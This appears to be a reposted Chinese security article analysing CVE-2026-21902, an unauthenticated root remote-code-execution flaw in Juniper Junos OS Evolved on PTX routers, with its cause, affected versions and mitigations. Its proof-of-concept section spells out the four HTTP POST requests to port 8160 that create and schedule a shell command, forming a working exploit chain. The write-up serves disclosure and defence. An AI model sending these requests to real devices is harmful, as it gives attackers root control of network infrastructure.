文章总结: 本文深入剖析JuniperJunosEvolved平台的高危漏洞CVE-2026-21902。该漏洞源于机载异常检测框架的权限配置错误,默认监听所有接口且无认证,允许未授权攻击者通过8160端口以root权限远程执行代码。文章详细解析了代码层面的成因、攻击链构造及影响范围,建议用户立即升级至修复版本或通过访问控制限制端口访问以缓解风险。 综合评分: 91 文章分类: 漏洞分析,漏洞预警,解决方案,网络安全,漏洞POC
漏洞分析:Juniper Junos Evolved CVE-2026-21902 未授权远程代码执行漏洞剖析
幻泉之洲
2026年3月6日 10:00 北京
本文深入分析了近期披露的 Juniper Junos Evolved 平台高危漏洞 CVE-2026-21902。该漏洞源于机载异常检测框架的权限配置错误,允许未经身份验证的攻击者通过端口 8160/TCP 发起攻击,以 root 权限远程执行任意代码。文章详细探讨了其技术原理、影响范围和完整的攻击链。
漏洞概述
最近披露的 CVE-2026-21902,是一个影响 Juniper Junos OS Evolved 平台的“关键资源权限分配不正确”漏洞。漏洞评分高达 9.8,属于关键级别。
它只影响 Juniper 的 PTX 系列设备,听起来范围有限,但恰恰如此才显得有点奇怪。一个本该是内部的服务,怎么就暴露在外部了呢?
技术原理分析
问题在哪里?
根据 Juniper 的官方安全公告(相关网址:https://supportportal.juniper.net/s/article/2026-02-Out-of-Cycle-Security-Bulletin-Junos-OS-Evolved-PTX-Series-A-vulnerability-allows-a-unauthenticated-network-based-attacker-to-execute-code-as-root-CVE-2026-21902),问题出在 PTX 系列设备上 Junos OS Evolved 的 On-Box Anomaly Detection Framework(机载异常检测框架)。
简单来说,这个内部的服务框架本来应该只监听内部路由实例,但实际上却监听在所有网络接口(0.0.0.0)上。更关键的是,它没有任何身份验证。
根据公告原话:该漏洞允许未经身份验证、基于网络的攻击者以 root 权限执行代码。该服务默认启用,无需任何特定配置。
这已经足够让人警惕。一个默认开启、默认监听所有网口、且不设防的“内部”服务,还运行着 root 权限的 Python 脚本组,怎么看都不像是一个安全的设计。
代码层面一探究竟
漏洞成因可以追溯到框架的代码实现。在文件系统中,相关文件位于 /usr/sbin/monitor/ 目录,主要包括:
-
anomaly_detector_main.py -
确保子Python脚本保活的初始脚本
-
api_server.py -
HTTP API 服务器,将请求数据存储到服务器文件中
-
intent_monitor.py -
定期检查定义更新并更新API服务器配置
-
schedule_enforcer.py -
定期执行已调度的 DAG 实例
检查 api_server.py 中的服务器启动代码,我们可以看到问题所在:
port = CONFIG.get(‘api_server_port’, 8160) server_address = (”, port) httpd = server_class(server_address, handler_class) logging.info(f’Serving HTTP on port {port}…’) httpd.serve_forever()
server_address = ('', port) 这一行意味着服务器将绑定到所有可用接口,而非特定的内部接口。
该框架本质上是一个 Python 构建的 REST API,监听在 8160/TCP 端口,允许用户定义、调度并运行复杂的监控和诊断例程,以应对检测到的异常。
框架的核心逻辑基于四个关键概念:
-
命令 (Command)
:一个要在设备上执行的命令(是的,就是实际的 shell 命令)。
-
处理器 (Handler)
:处理命令输出的数据。
-
有向无环图 (DAG)
:一系列操作(命令、处理器或子DAG)组成的工作流。
-
DAG 实例 (DAG Instance)
:一个特定的、已调度的 DAG 执行任务。
其 API 提供了典型的 CRUD 端点来管理这些实体。
影响范围
该漏洞影响 Juniper PTX 系列路由器上运行的特定版本 Junos OS Evolved:
-
受影响版本
:Junos OS Evolved 25.4 版本中,早于 25.4R1-S1-EVO 和 25.4R2-EVO 的版本。
-
不受影响版本
:早于 25.4R1-EVO 的版本不受影响。
这意味着所有新部署且未及时打补丁的 PTX 设备都可能暴露此风险。
攻击链与 PoC 说明
利用 API 实现 RCE
攻击路径非常直接。攻击者通过未经认证的 HTTP POST 请求,依次创建命令、定义 DAG、调度 DAG 实例,最后提交配置即可触发命令执行。
-
第一步:创建命令
。向服务器发送请求,定义一个类型为
RE-SHELL的命令。该类型的命令会直接在 shell 中执行。POST /config/command/ HTTP/1.1 Host: Content-Type: application/json Content-Length:
{ “syntax”: “id > /var/home/admin/watchTowr.txt”, “type”: “RE-SHELL”, “parsing”: { }, “outputs”: { “result”: {“type”: “str”} }, “doc”: “” }
-
第二步:创建 DAG
。定义一个只包含上一步命令作为执行动作的简单 DAG。
POST /config/dag/ HTTP/1.1 Host: Content-Type: application/json Content-Length:
{ “start”: [], “edges”: [], “actions”: { : { “command”: , “inputs”: {} } }, “doc”: “” }
-
第三步:创建 DAG 实例
。立即调度这个 DAG 执行,将延迟设置为 0。
POST /config/dag-instance/ HTTP/1.1 Host: Content-Type: application/json Content-Length:
{ “dag”: , “enabled”: True, “platform”: , “target”: { “type”: “RE” }, “schedule”: { “start”: , “delay”: 0 }, “context”: {} }
-
第四步:提交配置
。发送最终提交请求,使所有配置生效。
POST /config/config/commit HTTP/1.1 Host: Content-Type: application/json Content-Length: 0
当 schedule_enforcer.py 进程运行时,它会读取配置的 DAG 实例,最终调用 execute_command 函数。该函数获取我们定义的 syntax 字段内容,并将其直接传递给 subprocess.run(command, shell=True, ...),从而导致任意代码执行。
修复建议与缓解措施
官方修复方案
Juniper 已发布修复版本。受影响的用户应立即升级到不受影响的版本:
- 升级至 Junos OS Evolved 25.4R1-S1-EVO 或更高版本。
- 升级至 Junos OS Evolved 25.4R2-EVO 或更高版本。
临时缓解措施
如果无法立即升级,可以考虑以下缓解措施:
-
访问控制
:在网络边界防火墙或设备本机 ACL 上,严格限制对 PTX 设备 TCP 8160 端口的访问,仅允许受信任的管理网络访问。
-
服务检查
:确认设备上该服务的实际监听地址。虽然代码默认绑定到所有接口,但配置可能有所不同。使用命令检查端口的实际绑定情况。
检测与验证
安全团队可以使用 watchTowr Labs 发布的概念验证工具(相关网址:https://github.com/watchtowrlabs/watchTowr-vs-JunosEvolved-CVE-2026-21902)进行环境检测。该工具可以帮助验证漏洞是否存在,并生成相关的检测日志。
说到底,这个漏洞反映了一个更根本的问题:把带执行外部命令功能的内部服务不加防护地暴露出来,从一开始设计就埋下了隐患。对于关键基础设施的组件,每个对外暴露的服务接口都应该经过最严格的审视。
参考资料
[1] https://labs.watchtowr.com/sometimes-you-can-just-feel-the-security-in-the-design-junos-os-evolved-cve-2026-21902-rce/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《漏洞分析:Juniper Junos Evolved CVE-2026-21902 未授权远程代码执行漏洞剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论